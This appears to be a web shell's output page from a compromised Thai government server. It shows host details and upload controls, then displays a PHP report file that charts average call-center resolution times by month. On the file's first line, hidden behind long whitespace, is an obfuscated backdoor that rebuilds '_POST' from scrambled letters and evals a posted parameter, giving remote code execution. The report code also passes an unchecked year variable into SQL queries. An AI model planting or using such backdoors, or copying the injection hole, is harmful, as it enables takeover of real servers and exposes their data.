MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/report_graph7.php
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qa39515'])){eval(${$s20}['qa39515']);}?><?
#			session_start();
//			error_reporting(0);
include ("../../../config/conndb_obec.inc.php")  ;
include ("graph.inc.php")  ;

$monthname = array("",
"มกราคม",
"กุมภาพันธ์",
"มีนาคม",
"เมษายน",
"พฤษภาคม",
"มิถุนายน",
"กรกฎาคม",
"สิงหาคม",
"กันยายน",
"ตุลาคม",
"พฤษจิกายน",
"ธันวาคม");

if (!isset($yy)) $yy = 2550;

$n = 0;
$total = 0;
$data = array();
//$data["อื่นๆ"] = 0;



//$sql="select t1.name as name,count(*) as ncount from call_datagroup t1 right join callcenter t2 on t1.gid=t2.pgroup where t2.prov_id = '$pvid' group by t1.name order by ncount desc;";
$sql = "select  avg(((year(finish_rec)-year(date_rec)) * 365) + ((month(finish_rec) - month(date_rec))*30) + (dayofmonth(finish_rec) - dayofmonth(date_rec))) as ncount,substring(date_rec,6,2) as name from callcenter where year(date_rec)='$yy' and finish_rec > date_rec group by name;";

$result = mysql_query($sql);
while ($rs=mysql_fetch_assoc($result)){
	$data[$rs[name]] = $rs[ncount];
	$n++;
	$total = $total + $rs[ncount];
}

?>
<HTML>
<HEAD>
<TITLE>รายงานแสดงสถิติเวลาในการแก้ปัญหาในแต่ละเดือน</TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../style.css" rel=stylesheet type="text/css">
<script src="../../../common/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<head>
<BODY>

<?
$datalist = $grouplist = "";
$k=0;
foreach ($data as $grp => $value){
	if ($k > 0) {
		$datalist .= ";";
		$grouplist .= ";";
	}

	$datalist .= $value;
	$grouplist .= $monthname[intval($grp)];
	$k++;
}



$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=line&graphstyle=srd_sf_013";

?>


<table width="100%" border="0" cellspacing="0" cellpadding="2">
  <tr>
    <td class="fill_bg_add_new2" style="padding-top:15px"><table width="100%" border="0">
      <tr valign="top">
        <td colspan="2" class="report_graph_header">รายงานแสดงสถิติเวลาในการแก้ปัญหาในแต่ละเดือน</td>
      </tr>
      <tr valign="top">
        <td width="480" align="center"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
          <param name="movie" value="<?=$graphurl?>">
          <param name="quality" value="high">
          <embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240"> </embed>
        </object>
          <br />
              <br />
              <table width="150" border="0" cellspacing="0" cellpadding="2">
                <tr>
                  <td align="center"><a href="<?=$graphurl?>" target="_blank" class="menu_inc">&#3649;&#3626;&#3604;&#3591;&#3585;&#3619;&#3634;&#3615;&#3586;&#3609;&#3634;&#3604;&#3651;&#3627;&#3597;&#3656;</a></td>
                </tr>
              </table>
          </CENTER>
        </td>
        <td>ข้อมูลสำหรับปี  พ.ศ.
          <select name="yy" onChange="location.href='?yy='+this.value;">
            <?
$xresult = mysql_query("select distinct year(date_rec) as yy from callcenter;");
while ($xrs = mysql_fetch_assoc($xresult)){
	if ($xrs[yy] == $yy) $sel="SELECTED"; else $sel="";
	echo "<option value='$xrs[yy]' $sel>$xrs[yy]";
}
?>
          </select>
          <table width="450" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
            <tr bgcolor="#6666FF">
              <th class="report_graph_tb_head">ลำดับ</th>
              <th class="report_graph_tb_head">เดือน</th>
              <th class="report_graph_tb_head">เวลาเฉลี่ยในการแก้ปัญหา(วัน)</th>
            </tr>
            <?
$k=0;
foreach ($data as $grp => $value){
	if ($k++ % 2) $bg="#EFEFEF"; else $bg="#FFFFFF";
?>
            <tr bgcolor="<?=$bg?>">
              <td align=center><?=$k?></td>
              <td align=left>เดือน
                <?=$monthname[intval($grp)]?></td>
              <td align=right><?=number_format($value,2)?>
                &nbsp;</td>
            </tr>
            <?
}//foreach
?>
            <tr bgcolor="<?=$bg?>">
              <td align=center>&nbsp;</td>
              <td align=left><strong>เฉลี่ย </strong></td>
              <td align=right><strong>
			  <? $avgday = $total / $k ; ?> 
                <?=number_format($avgday,2)?>
&nbsp;              </strong></td>
            </tr>
          </table></td>
      </tr>
    </table></td>
  </tr>
</table>
<BR>

</BODY>
</HTML>

Anon7 - 2021